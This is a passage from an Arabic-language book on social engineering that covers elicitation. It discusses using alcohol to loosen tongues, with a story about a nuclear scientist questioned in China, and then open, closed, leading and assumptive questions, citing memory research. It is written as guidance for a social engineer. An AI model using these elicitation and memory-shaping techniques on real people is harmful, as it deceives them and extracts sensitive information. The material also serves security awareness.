‫ﻛﺎن ﯾﻣﻛن أن ﯾدﻓﻊ ﺛﻣﻧﮭﺎ وأﻧﮭﺎ ادت اﻟﻰ رﺣﻠﺔ ﻧﺎﺟﺣﺔ ﺟدا‪.‬‬
‫اﺳﺘﺨﺪام ﺗﺄﺛﯿﺮات اﻟﻜﺤﻮل )‪(Using the Effects of Alcohol‬‬
‫ﻏﯾر ﻣﺗﺎح ﻓﻲ ﻋﺎﻟﻣﻧﺎ وﻟﻛن ذﻛرﺗﮫ ﻟﺗﻛﻠم اﻟﻛﺎﺗب ﻋﻧﮫ‪ .‬ﻻ ﺷﻲء ﯾﺣل اﻟﺷﻔﺎه أﻛﺛر ﻣن اﻟﻌﺻﯾر‪ .‬ھذا أﻣر ﻣؤﺳف ﺣﻘﯾﻘﺔ وﻟﻛﻧﮫ ﺣﻘﯾﻘﻲ‪ .‬ﺧﻠط أي ﻣن‬
‫اﻟﺳﯾﻧﺎرﯾوھﺎت اﻟﺧﻣﺳﺔ اﻟﺳﺎﺑﻘﺔ ﻣﻊ اﻟﻛﺣول ﯾﻣﻛﻧك ﺗﻛﺑﯾر آﺛﺎره ﺑﻧﺳﺑﺔ ‪.10‬‬
‫رﺑﻣﺎ أﻓﺿل طرﯾﻘﺔ ﻟوﺻف ھذا اﻟﺳﯾﻧﺎرﯾو ﻣﻊ ﻗﺻﺔ ﺣﻘﯾﻘﯾﺔ‪.‬‬
‫ﻓﻲ ﻋﺎم ‪ 1980‬ﺳﺎﻓر أﺣد ﻛﺑﺎر اﻟﻌﻠﻣﺎء ﻣن ﻣﺧﺗﺑر ﻟوس اﻷﻣوس اﻟوطﻧﻲ ﻟﻣﻌﮭد اﻟﺑﺣوث ﻓﻲ ﺟﻣﮭورﯾﺔ اﻟﺻﯾن اﻟﺷﻌﺑﯾﺔ )‪ (PRC‬ﻟﻠﺣدﯾث ﻋن‬
‫ﺗﺧﺻﺻﮫ‪ ،‬اﻻﻧدﻣﺎج اﻟﻧووي‪ .‬ﻛﺎن ﻟدﯾﮫ ﻣﻌرﻓﺔ واﺳﻌﺔ ﻣن اﻟﻣﻌﻠوﻣﺎت ﻋن اﻻﺳﻠﺣﺔ اﻟﻧووﯾﺔ اﻻﻣرﯾﻛﯾﺔ زﻛﺎن وﺿﻌﮫ ﺧطﯾر‪.‬‬
‫اﻻ اﻧﮫ ﻛﺎن ﯾﺧض ﺑﺎﺳﺗﻣرار اﻟﻰ اﻟﺗﺣﻘﯾﻘﺎت ﺑﺷﻛل ﻣﺗزاﯾد ﻋن اﻟﺗﻔﺎﺻﯾل اﻟﻣﺗﻌﻠﻘﺔ ﻣﺑﺎﺷرة ﺑﺎﻷﺳﻠﺣﺔ اﻟﻧووﯾﺔ‪ .‬ﺗﻛﺗﯾﻛﺎت اﻟﻣﮭﺎﺟﻣﯾن ﯾﺟب ان ﺗﻐﯾﯾر‪،‬‬
‫ﺣﯾث اﻧﮭم ﯾﺑدﺋون ﺑﺎﻟﻌدﯾد ﻣن اﻷﺳﺋﻠﺔ ﺣول اﻻﻧﺻﮭﺎر واﻟﻔﯾزﯾﺎء اﻟﻔﻠﻛﯾﺔ‪ ،‬وﺗﺧﺻﺻﮫ‪.‬‬
‫ﻓﻲ وﻗت ﻣﺎ ﺗم دﻋوﺗﮫ اﻟﻰ ﺣﻔل ﻛوﻛﺗﯾل ﺗﻛرﯾﻣﺎ ﻟﮫ‪ .‬ﺗﺟﻣﻌوا ﺣوﻟﮫ وﺻﻔﻘوا ﻟﮫ ﻟﻣﻌرﻓﺗﮫ وﺑﺣوﺛﮫ ﻓﻲ ﻛل ﻣرة ﻣﻊ ﻧﺧب وﺷراب‪ .‬ﺑدأوا اﻻﺳﺗﻔﺳﺎر‬
‫ﻋن اﻷﻣور ﺗﺻﻧف ﻣﺛل ظروف اﻻﺷﺗﻌﺎل ﻣن اﻟدﯾوﺗرﯾوم واﻟﺗرﯾﺗﯾوم‪ ،‬ﻋﻧﺻرﯾن ﻓﻲ اﻟﻘﻧﺑﻠﺔ اﻟﻧﯾوﺗروﻧﯾﺔ ﺛم ﻣﺎه ھو اﻟﺟدﯾدة‪ .‬ﻋﻠﻰ اﻟرﻏم اﻧﮫ ﻛﺎن‬
‫ﺟﯾدا ﻓﻲ ﺻد اﻷﺳﺋﻠﺔ اﻟﺛﺎﺑﺗﺔ‪ ،‬وﻟﻛن ﺑﻌد اﻟﻌدﯾد ﻣن اﻟﺷرب‪ ،‬ﻓﻘرر أن ﯾﻌطﻲ اﻟﻘﯾﺎس‪.‬‬
‫ﻋﻠﻰ اﻷرﺟﺢ ﺗﺳﺑﺑت ھذه اﻟﻘﺻﺔ اﻟﺗﻲ ﺗﺑدو ﻋدﯾﻣﺔ اﻟﻔﺎﺋدة اﻟﻰ ﺗﺛرﯾب ﻣﻌﻠوﻣﺎت اﻟﻰ اﻟﺑﺎﺣﺛﯾن ﻓﻲ اﻟﺻﯾن ﻟﺗﺑﯾن طرﯾﻘﺎ واﺿﺣﺎ ﻋن اﻷﺑﺣﺎث ﻋن‬
‫اﻷﺳﻠﺣﺔ اﻟﻧووﯾﺔ‪ .‬ﻓﺈﻧﮭﺎ ﺗﺄﺧذ ھذه اﻟﻣﻌﻠوﻣﺎت إﻟﻰ ﻋﺎﻟم آﺧر ﺑﻌد واﺳﺗﺧدام ھذه اﻟﻣﻌرﻓﺔ ﻟﻠوﺻول اﻟﻰ اﻟﻣرﺣﻠﺔ اﻟﺗﺎﻟﯾﺔ ﻣﻌﮫ‪ .‬ﺑﻌد ﻣﺣﺎوﻻت ﻛﺛﯾرة‪،‬‬
‫ﻓﻣن اﻟﻣرﺟﺢ ﺟدا ان اﻟﻌﻠﻣﺎء اﻟﺻﯾﻧﯾﯾن ﺗﻣﻠك ﺻورة واﺿﺣﺔ ﻋن اﻟﻣﺳﺎر‪.‬‬
‫ھذا ھﻲ اﻷﻣﺛﻠﺔ اﻟﺗﻲ ﺗوﺿﺢ ﻛﯾﻔﯾﺔ اﺳﺗﺧدام ال ‪ elicitation‬واﻟﺗﻲ ﯾﻣﻛن أن ﯾؤدي إﻟﻰ اﻛﺗﺳﺎب ﺻورة واﺿﺣﺔ ﻋن ﻛل اﻟﺟواب‪ .‬ﻓﻲ اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ ﻗد ﺗﻛون ھﻲ ﻧﻔﺳﮭﺎ ﺑﺎﻟﻧﺳﺑﺔ ﻟك‪ .‬ﺟﻣﯾﻊ اﻹﺟﺎﺑﺎت ﻗد ﻻ ﺗﺄﺗﻲ ﻣن ﻣﺻدر واﺣد‪ .‬ﻗد ﺗﺛﯾر ﺑﻌض اﻟﻣﻌﻠوﻣﺎت ﻣن ﺷﺧص‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪812‬‬

‫واﺣد ﻋن ﻣﻛﺎن وﺟودھم ﻓﻲ ﺗﺎرﯾﺦ ﻣﻌﯾن‪ ،‬وﻣن ﺛم اﺳﺗﺧدام ھذه اﻟﻣﻌﻠوﻣﺎت ﻟﻠﺣﺻول ﻋﻠﻰ ﻣزﯾد ﻣن اﻟﻣﻌﻠوﻣﺎت ﻣن اﻟﻣرﺣﻠﺔ اﻟﻣﻘﺑﻠﺔ‪ ،‬وھﻠم ﺟرا‪.‬‬
‫وﺿﻊ ﺗﻠك اﻟﺷذرات ﻣن اﻟﻣﻌﻠوﻣﺎت ﻣﻌﺎ ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻛون اﻟﺟزء اﻟﺻﻌب ﻣن اﺗﻘﺎن ﻣﮭﺎرات ‪.elicitation‬‬

‫اﺳﺗﺧدام اﻷﺳﺋﻠﺔ اﻟذﻛﯾﺔ )‪(Using Intelligent Questions‬‬

‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﯾﺟب أن ﺗدرك أن اﻟﮭدف ﻣن ال ‪ elicitation‬ھو ﻟﯾس اﻟﻣﺷﻲ ﺻﻌودا وﻣن ﺛم ﻧﻘول‪" :‬ﻣﺎ ھﻲ ﻛﻠﻣﺔ اﻟﺳر اﻟﺧﺎﺻﺔ ﺑﺧﺎدم‬
‫اﻟﺷﺑﻛﺔ اﻟﺧﺎﺻﺔ ﺑك؟"‬
‫اﻟﮭدف ھو اﻟﺣﺻول ﻋﻠﻰ ﻗطﻊ ﺻﻐﯾرة ﻣن اﻟﻣﻌﻠوﻣﺎت واﻟﺗﻲ ﻗد ﺗﺑدو ﻋدﯾﻣﺔ اﻟﻔﺎﺋدة وﻟﻛﻧﮭﺎ ﺗﺳﺎﻋد ﻋﻠﻰ ﺑﻧﺎء ﺻورة واﺿﺣﺔ ﻣن اﻷﺟوﺑﺔ اﻟﺗﻲ‬
‫ﺗﺳﻌﻰ اﻟﯾﮭﺎ أو اﻟﻣﺳﺎر ﻻﻛﺗﺳﺎب ﺗﻠك اﻹﺟﺎﺑﺎت‪ .‬ﻓﻲ ﻛﻠﺗﺎ اﻟﺣﺎﻟﺗﯾن‪ ،‬ھذا اﻟﻧوع ﻣن ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﯾﻣﻛن أن ﯾﺳﺎﻋد ﻋﻠﻰ إﻋطﺎء اﻟﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﻲ طرﯾﻘﺎ واﺿﺣﺎ ﺟدا إﻟﻰ اﻟﮭدف اﻟﻣﻧﺷود‪.‬‬
‫ﻛﯾف ﯾﻣﻛﻧك أن ﺗﻌرف ﻣﺎ ھو ﻧوع اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﯾﺟب اﺳﺗﺧداﻣﮭﺎ؟‬
‫اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ ﺗﺣﻠﯾل ﻷﻧواع اﻷﺳﺋﻠﺔ اﻟﻣوﺟودة وﻛﯾف ﯾﻣﻛن ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﺳﺗﺧداﻣﮭﺎ‪.‬‬
‫أﺳﺌﻠﺔ ﻣﻔﺘﻮﺣﺔ )‪(Open-Ended Questions‬‬
‫ﻻ ﯾﻣﻛن اﻹﺟﺎﺑﺔ ﻋﻠﻰ ھذا اﻟﻧوع ﻣن اﻷﺳﺋﻠﺔ ﺑﻧﻌم او ﻻ‪ .‬ﻣﺛﻼ ﻋﻧدﻣﺎ ﺗﻘول "اﻟﯾوم ﯾوم ﺑﺎرد‪ ،‬ھﺎ؟" ﻓﯾؤدي ھذا اﻟﺳؤال اﻟﻰ اﻹﺟﺎﺑﺔ ﺑﻧﻌم أو ﻏﯾرھﺎ‬
‫ﻣن ﺑﻌض اﻟﻛﻼم اﻹﯾﺟﺎﺑﻲ اﻟﻣﻣﺎﺛل‪ ،‬ﻓﻲ ﺣﯾن ﻟو ﻗﻣت ﺑﺎﻟﺳؤال ھﻛذا‪" :‬ﻣﺎ رأﯾك ﻓﻲ اﻟطﻘس اﻟﯾوم؟ " ﻓﮭذا ﺳوف ﯾﺛﯾر اﺳﺗﺟﺎﺑﺔ ﺣﻘﯾﻘﯾﺔ‪ :‬ﯾﺟب ﻋﻠﻰ‬
‫اﻟﺷﺧص اﻹﺟﺎﺑﺔ ﻋﻠﯾﮫ‪.‬‬
‫طرﯾﻘﺔ واﺣدة ﻟﺗﻌﻠﯾم اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻷﺳﺋﻠﺔ اﻟﻣﻔﺗوﺣﺔ وھو ﺗﺣﻠﯾل ودراﺳﺔ اﻟﺗﻘﺎرﯾر اﻟﺻﺣﻔﯾﺔ اﻟﺟﯾدة‪ .‬ﺣﯾث ان اﻟﺻﺣﻔﻲ‬
‫اﻟﺟﯾد ﯾﺟب اﺳﺗﺧدام اﻷﺳﺋﻠﺔ اﻟﻣﻔﺗوﺣﺔ ﻟﻣواﺻﻠﺔ اﻧﺗزاع اﻟردود ﻣن ﻣﺗﺎﺑﻌﯾﮫ‪.‬‬
‫ﺟﺎﻧب آﺧر ﻣن اﻷﺳﺋﻠﺔ اﻟﻣﻔﺗوﺣﺔ واﻟﺗﻲ ﺗﺿﯾف ﻗوة ھو اﺳﺗﺧدام ﻟﻣﺎذا وﻛﯾف )‪ .(why and how‬ﻣﺗﺎﺑﻌﺔ اﻟﺳؤال ﻣﻊ ﻛﯾف أو ﻟﻣﺎذا ﯾﻣﻛن أن‬
‫ﯾؤدي إﻟﻰ ﺗﻔﺳﯾر أﻛﺛر ﻣﻣﺎ ﺗطﻠﺑﮫ ﻋﻧد ﻗﯾﺎﻣك ﺑﺎﻟﺳؤال‪.‬‬
‫ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن ﯾﻣﻛن ﯾﻘﺎﺑل اﺳﺗﺧدام اﻷﺳﺋﻠﺔ اﻟﻣﻔﺗوﺣﺔ ﺑﻌض اﻟﻣﻘﺎوﻣﺔ‪ ،‬ﻟذﻟك ﻗم ﺑﺎﺳﺗﺧدام ﻧﮭﺞ اﻟﮭرم )‪ (pyramid approach‬واﻟﺗﻲ ﻗد‬
‫ﺗﻛون ﺟﯾدة‪ .‬ﻧﮭﺞ اﻟﮭرم وﻓﯾﮫ ﻧﺑدأ ﺑﺎﻷﺳﺋﻠﺔ اﻟﺿﯾﻘﺔ وﻣن ﺛم طرح اﻷﺳﺋﻠﺔ ﻋﻠﻰ ﻧطﺎق أوﺳﻊ ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﺳطر ﻣن اﻻﺳﺗﺟواب‪ .‬إذا ﻛﻧت ﺗرﯾد ﺣﻘﺎ‬
‫أن ﺗﺗﻌﻠم ھذه اﻟﺗﻘﻧﯾﺔ ﻻﺳﺗﺧداﻣﮭﺎ ﻣﻊ اﻻطﻔﺎل‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻋدد ﻣن اﻟﻣرات ﻣن اﻷﺳﺋﻠﺔ اﻟﻣﻔﺗوﺣﺔ ﻣﺛل‪" ،‬ﻛﯾف ﻛﺎﻧت اﻟﻣدرﺳﺔ اﻟﯾوم؟" ﺳوف ﺗﻘﺎﺑﻠﮭﺎ اﻹﺟﺎﺑﺔ "ﺟﯾده" ﻻ أﻛﺛر وﻻ أﻗل‪،‬‬
‫ﻟذﻟك طرح ﺳؤال ﺿﯾﻖ ﻗد ﯾﻔﺗﺢ ﺗدﻓﻖ اﻟﻣﻌﻠوﻣﺎت ﺑﺷﻛل أﻓﺿل‪.‬‬
‫"ﻣﺎذا ﺗﺄﺧذون ﻓﻲ اﻟرﯾﺎﺿﯾﺎت ھذا اﻟﻌﺎم؟" ھذا اﻟﺳؤال ﺿﯾﻖ ﺟدا وﯾﻣﻛن اﻹﺟﺎﺑﺔ ﻓﻘط ﻣﻊ إﺟﺎﺑﺔ ﻣﺣددة ﻟﻠﻐﺎﯾﺔ‪" :‬اﻟﺟﺑر"‪.‬‬
‫"آه‪ ،‬ﻛﻧت ﺑﻛره ذﻟك‪ .‬ﻛﯾف ﺗﺣﺑﮫ؟" ‪ .‬ﻣن ھﻧﺎك ﯾﻣﻛﻧك اﻟﺗﻔرع داﺋﻣﺎ إﻟﻰ أﺳﺋﻠﺔ أوﺳﻊ‪ ،‬وﺑﻌد ﺣﺻوﻟك ﻋﻠﻰ اﻟﻛﻼم اﻟﮭدف‪ ،‬واﻟﺣﺻول ﻋﻠﻰ ﻣزﯾد‬
‫ﻣن اﻟﻣﻌﻠوﻣﺎت ﻋﻣوﻣﺎ ﯾﺻﺑﺢ أﺳﮭل‪.‬‬
‫أﺳﺌﻠﺔ ﻣﻐﻠﻘﮫ )‪(Closed-Ended Questions‬‬
‫ﻣن اﻟواﺿﺢ‪ ،‬أن اﻷﺳﺋﻠﺔ اﻟﻣﻐﻠﻘﺔ ھﻲ ﻋﻠﻰ ﻋﻛس اﻷﺳﺋﻠﺔ ﻣﻔﺗوﺣﺔ وﻟﻛﻧﮭﺎ وﺳﯾﻠﺔ ﻓﻌﺎﻟﺔ ﺟدا ﻟﻘﯾﺎدة اﻟﮭدف ﺣﯾث ﺗرﯾد‪ .‬ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻻ‬
‫ﯾﻣﻛن اﻹﺟﺎﺑﺔ ﻋﻠﻰ اﻷﺳﺋﻠﺔ اﻟﻣﻐﻠﻘﺔ ﻣﻊ أﻛﺛر ﻣن واﺣد أو اﺛﻧﯾن ﻣن اﻻﺣﺗﻣﺎﻻت‪.‬‬
‫ﻓﻲ ﺳؤال ﻣﻔﺗوح ﯾﻣﻛن ﻟﻠﻣرء أن ﯾﺳﺄل‪" :‬ﻣﺎ ھﻲ ﻋﻼﻗﺗك ﻣﻊ ﻣدﯾرك؟" وﻟﻛن ﯾﻣﻛن أن ﯾﺻﺎغ ﺳؤال ﻣﻐﻠﻖ‪" ،‬ھل ﻋﻼﻗﺗك ﻣﻊ اﻟﻣدﯾر ﺟﯾده؟"‬
‫اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻔﺻﯾﻠﯾﺔ ھﻲ ﻋﺎدة ﻟﯾﺳت اﻟﮭدف ﻣن اﻷﺳﺋﻠﺔ اﻟﻣﻐﻠﻘﺔ؛ ﺑدﻻ ﻣن ذﻟك‪ ،‬ﻗﯾﺎدة اﻟﮭدف ھو اﻟﮭدف‪.‬‬
‫ﻣﻧﻔذي اﻟﻘﺎﻧون واﻟﻣﺣﺎﻣﯾن ﯾﺳﺗﺧدﻣون ھذا اﻟﻧوع ﻣن اﻟﻣﻧطﻖ ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن‪ .‬إذا ﻛﺎﻧوا ﯾرﯾدون ﻗﯾﺎدة ھدﻓﮭم اﻟﻰ ﻣﺳﺎر ﻣﻌﯾن ﯾﺳﺄﻟون أﺳﺋﻠﺔ‬
‫ﻣﻐﻠﻘﺔ ﺟدا واﻟﺗﻲ ﻻ ﺗﺳﻣﺢ ﺑﺣرﯾﺔ اﻷﺟوﺑﺔ‪ .‬ﺷﻲء ﻣن ھذا اﻟﻘﺑﯾل‪:‬‬
‫"ھل ﺗﻌرف اﻟﻣدﻋﻰ ﻋﻠﯾﮫ‪ ،‬اﻟﺳﯾد ﺳﻣﯾث؟"‬
‫"ﻧﻌم"‪.‬‬
‫"ﻓﻲ ﻟﯾﻠﺔ ‪ 14‬ﯾوﻧﯾو‪ ،‬ھل رأﯾت اﻟﺳﯾد ﺳﻣﯾث ﻓﻲ اﻟﺣﺎﻧﺔ؟"‬
‫"ﻧﻌم راﯾﺗﮫ"‪.‬‬
‫"ﻓﻲ أي وﻗت ﻛﺎن ذﻟك؟"‬
‫‪"11:45".‬‬
‫ﻛل ھذه اﻷﺳﺋﻠﺔ ھﻲ ﻣﻐﻠﻘﺔ ﺟدا وﺗﺳﻣﺢ ﻓﻘط ﻟواﺣد أو ﻧوﻋﯾن ﻣن اﻻﺳﺗﺟﺎﺑﺎت‪.‬‬
‫اﻷﺳﺌﻠﺔ اﻹﯾﺤﺎﺋﯿﺔ )‪(Leading Questions‬‬
‫اﻟﺟﻣﻊ ﺑﯾن ﺟواﻧب ﻛﻼ ﻣن اﻷﺳﺋﻠﺔ اﻟﻣﻔﺗوﺣﺔ واﻟﻣﻐﻠﻘﺔ‪ ،‬ﯾؤدي اﻟﻰ أﺳﺋﻠﺔ ﻣﻔﺗوﺣﺔ ﻣﻊ إﺷﺎرة‪/‬ﺗﻠﻣﯾﺢ اﻟﻰ اﻹﺟﺎﺑﺔ‪ .‬ﺷﻲء ﻣن ھذا اﻟﻘﺑﯾل‪" ،‬ﻟﻘد ﻛﻧت‬
‫ﻓﻲ اﻟﺣﺎﻧﺔ ‪ABC‬ﻣﻊ اﻟﺳﯾد ﺳﻣﯾث ﻋﻠﻰ ‪ 14‬ﯾوﻧﯾو ﻓﻲ ﺣواﻟﻲ ‪ ،23:45‬اﻟم ﺗﻛن أﻧت؟" ھذا اﻟﻧوع ﻣن اﻷﺳﺋﻠﺔ ﯾؤدي ﺟﻌل اﻟﮭدف‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪813‬‬

‫ﺣﯾث ﺗرﯾد وﻟﻛﻧﮭﺎ أﯾﺿﺎ ﺗوﻓر ﻟﮫ اﻟﻔرﺻﺔ ﻟﻠﺗﻌﺑﯾر ﻋن آراﺋﮫ‪ ،‬وﻟﻛن ﺑﻔﺎرق ﺿﺋﯾل ﻟﻠﻐﺎﯾﺔ‪ .‬اﻧﮭﺎ ‪ preloads‬اﻟﮭدف ﻣﻊ اﻷﻓﻛﺎر )ﻣﻌرﻓﺔ اﻷﺣداث‬
‫اﻟﺗﻲ ﺳﺋﻠت ﻋﻧﮭﺎ(‪ .‬ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻣﻛن اﻹﺟﺎﺑﺔ ﻋﻠﻰ اﻷﺳﺋﻠﺔ اﻹﯾﺣﺎﺋﯾﺔ ﺑﻧﻌم أو ﻻ وﻟﻛﻧﮭﺎ ﺗﺧﺗﻠف ﻋن اﻷﺳﺋﻠﺔ اﻟﻣﻐﻠﻘﺔ ﻷﻧﮫ ﯾﺗم زرع ﻣزﯾد ﻣن‬
‫اﻟﻣﻌﻠوﻣﺎت ﻓﻲ اﻟﺳؤال ﺣﯾث ﻋﻧد اﻹﺟﺎﺑﺔ ﻓﺎﻧﮫ ﯾﻌطﻲ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻣزﯾد ﻣن اﻟﻣﻌﻠوﻣﺎت ﻟﻠﻌﻣل ﻣﻌﮭﺎ‪ .‬اﻷﺳﺋﻠﺔ اﻹﯾﺣﺎﺋﯾﺔ ﺗذﻛر ﺑﻌض‬
‫اﻟﺣﻘﺎﺋﻖ وﺗﺳﺄل ﺑﻌد ذﻟك اﻟﮭدف ﻟﯾواﻓﻖ أو ﯾﺧﺗﻠف ﻣﻊ ھذه اﻟﺣﻘﺎﺋﻖ‪.‬‬
‫ﻓﻲ ﻋﺎم ‪ 1932‬اﺧﺗﺗم اﻟﺑرﯾطﺎﻧﻲ اﻟﻧﻔﺳﻲ ﻓرﯾدرﯾك ﺟﯾم ﺑﺎرﺗﻠﯾت دراﺳﺔ ﻋن اﻟذاﻛرة اﻟﺗرﻣﯾﻣﯾﺔ )‪ .(reconstructive memory‬ﺣﯾث ﻗﺎم‬
‫ﺑﺈﺧﺑﺎره ﻗﺻﮫ ﺛم طﻠب ﻣﻧﮭم أن ﯾذﻛروا اﻟﺣﻘﺎﺋﻖ ﻋن ھذه اﻟﻘﺻﺔ ﻓورا‪ ،‬ﺑﻌد أﺳﺑوﻋﯾن‪ ،‬ﺛم ﺑﻌد أرﺑﻌﺔ أﺳﺎﺑﯾﻊ‪ .‬وﺟد ﺑﺎرﺗﻠﯾت ان اﻻﺷﺧﺎص ﯾﻘوﻣون‬
‫ﺑﺗﻌدﯾل اﻟﻘﺻﺔ ﻋﻠﻰ أﺳﺎس ﺛﻘﺎﻓﺗﮭم وﻣﻌﺗﻘداﺗﮭم وﻛذﻟك ﺷﺧﺻﯾﺗﮭم‪ .‬ﻟم ﯾﺟد واﺣدا ﻗﺎدرا ﻋﻠﻰ ﺗذﻛر اﻟﻘﺻﺔ ﺑدﻗﺔ وﻓﻲ ﻣﺟﻣﻠﮭﺎ ﻻ ﺷﻲء‪ .‬ﺗﻘرر أن‬
‫اﻟذﻛرﯾﺎت ﻟﯾﺳت ﺳﺟﻼت دﻗﯾﻘﺔ ﻋن ﻣﺎﺿﯾﻧﺎ‪ .‬ﯾﺑدو أن اﻟﺑﺷر ﯾﺣﺎوﻟون ﺟﻌل اﻟذاﻛرة ﻟدﯾﻧﺎ ﺻﺎﻟﺣﮫ ﻋﻠﻰ ﺣﺳب ﺗﻣﺛﯾﻠﮭم اﻟﻘﺎﺋﻣﺔ ﻓﻲ ھذا اﻟﻌﺎﻟم‪ .‬ﻋﻧدﻣﺎ‬
‫ﻧﺳﺋل اﻷﺳﺋﻠﺔ‪ ،‬ﻣرات ﻋدﯾدة ﻧرد ﻣن اﻟذاﻛرة ﻋﻠﻰ أﺳﺎس ﺗﺻوراﺗﻧﺎ وﻣﺎ ھو ﻣﮭم ﺑﺎﻟﻧﺳﺑﺔ ﻟﻧﺎ‪.‬‬
‫ﺑﺳﺑب ھذا‪ ،‬ﻓﺎﻧﮫ ﻣن اﻟﻣﻣﻛن ﺳؤال اﻟﻧﺎس اﻷﺳﺋﻠﺔ اﻹﯾﺣﺎﺋﯾﺔ واﻟﺗﻼﻋب ﺑذاﻛرﺗﮭم‪ .‬إﻟﯾزاﺑﯾث ﻟوﻓﺗوس‪ ،‬ھﻲ ﺷﺧﺻﯾﺔ ﺑﺎرزة ﻓﻲ ﻣﺟﺎل ‪eyewitness‬‬
‫‪ ،testimony‬وﻗد أﺛﺑﺗت ﻣن ﺧﻼل اﺳﺗﺧداﻣﮭﺎ اﻷﺳﺋﻠﺔ اﻹﯾﺣﺎﺋﯾﺔ ﻛﯾف ﺗﺷوه ذاﻛرة ﺷﺧص ﻋن ﺣﺎدث ﻣﻌﯾن ﻣن اﻟﻣﻣﻛن ﺑﺳﮭوﻟﺔ‪ .‬ﻋﻠﻰ ﺳﺑﯾل‬
‫اﻟﻣﺛﺎل‪ ،‬إذا ﻛﻧت أظﮭرت ﻟﺷﺧص ﺻورة ﻟﻐرﻓﺔ اﻟطﻔل اﻟذي ﻻ ﯾﺗﺿﻣن أي دﻣﯾﺔ دب‪ ،‬ﺛم ﺳﺄﻟﺗﮫ‪" :‬ھل رأﯾت دﻣﯾﺔ دب؟" إﻧﮫ ﻟم ﯾﻌﻧﯾك إن ﻛﺎن‬
‫واﺣدا ﻓﻲ اﻟﻐرﻓﺔ‪ ،‬وھذا اﻟﺷﺧص ﺣر ﻟﻺﺟﺎﺑﺔ ﺑﻧﻌم أو ﻻ ﻛﻣﺎ ﯾﺣﻠو ﻟﮫ‪ .‬وﻣﻊ ذﻟك‪ ،‬ﻋﻧد ﺳؤاﻟﮫ "ھل رأﯾت دﻣﯾﺔ دب؟" ﻓﻛﺎن اﻟﺷﺧص أﻛﺛر‬
‫ﻋرﺿﺔ ﻟﻺﺟﺎﺑﺔ ب "ﻧﻌم"‪ ،‬ﻷن وﺟود دﻣﯾﺔ دب ﯾﺗﻔﻖ ﻣﻊ اﻟﻣﺧطط ذﻟك اﻟﺷﺧص ﻋن ﻏرﻓﺔ اﻟطﻔل‪.‬‬
‫ﻷن ھذا اﻟﺑﺣث اﺳﺗﺧدام اﻷﺳﺋﻠﺔ اﻹﯾﺣﺎﺋﯾﺔ ﯾﻣﻛن أن ﯾﻛون أداة ﻗوﯾﺔ ﻓﻲ ﯾد اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﯾﻣﻛن ﺗﻌﻠم ﻛﯾﻔﯾﺔ ﻗﯾﺎدة ھدف أﯾﺿﺎ إﻟﻰ ﺗﻌزﯾز‬
‫ﻗدرة ﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪.‬‬
‫اﻷﺳﺌﻠﺔ اﻻﻓﺘﺮاﺿﯿﺔ )‪(Assumptive Questions‬‬
‫اﻷﺳﺋﻠﺔ اﻻﻓﺗراﺿﯾﺔ ﻛﻣﺎ ھﻲ ﺗﺑدو ﻣن اﺳﻣﮭﺎ‪ ،‬ﺣﯾث ﺗﻔﺗرض ﻣﻌرﻓﺔ ﻣﻌﯾﻧﮫ ھﻲ ﺑﺎﻟﻔﻌل ﻓﻲ ﺣوزة اﻟﮭدف‪ .‬طرﯾﻘﺔ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﻣﻛﻧﮫ‬
‫ﺗﺣدﯾد ﻣﺎ إذا ﻛﺎن أو ﻟم ﯾﻛن اﻟﮭدف ﯾﻣﺗﻠك ﺗﻠك اﻟﻣﻌﻠوﻣﺎت وذﻟك ﻋن طرﯾﻖ طرح اﻷﺳﺋﻠﺔ اﻻﻓﺗراﺿﯾﺔ )‪.(Assumptive Questions‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻣﺛل اﻟﻣﮭﺎرة اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ ﻣﻧﻔذي اﻟﻘﺎﻧون ﻟﺗوﻟﻲ ھل اﻟﮭدف ﺑﺎﻟﻔﻌل ﯾﻣﻠك ھذه اﻟﻣﻌرﻓﺔ‪ ،‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﺷﺧص طﻠب‬
‫ﺷﻲء ﻣن ھذا اﻟﻘﺑﯾل‪" ،‬أﯾن ﯾﻌﯾش اﻟﺳﯾد ﺳﻣﯾث؟" اﻋﺗﻣﺎدا ﻋﻠﻰ اﻟﺟواب‪ ،‬ﻓﺎن اﻟﺿﺎﺑط ﯾﻣﻛﻧﮫ ﺗﺣدﯾد ﻣﺎ إذا ﻛﺎن اﻟﮭدف ﯾﻌرف ھذا اﻟﺷﺧص‪ ،‬وﻣﺎ‬
‫ﻣدى ھذه اﻟﻣﻌرﻓﺔ‪.‬‬
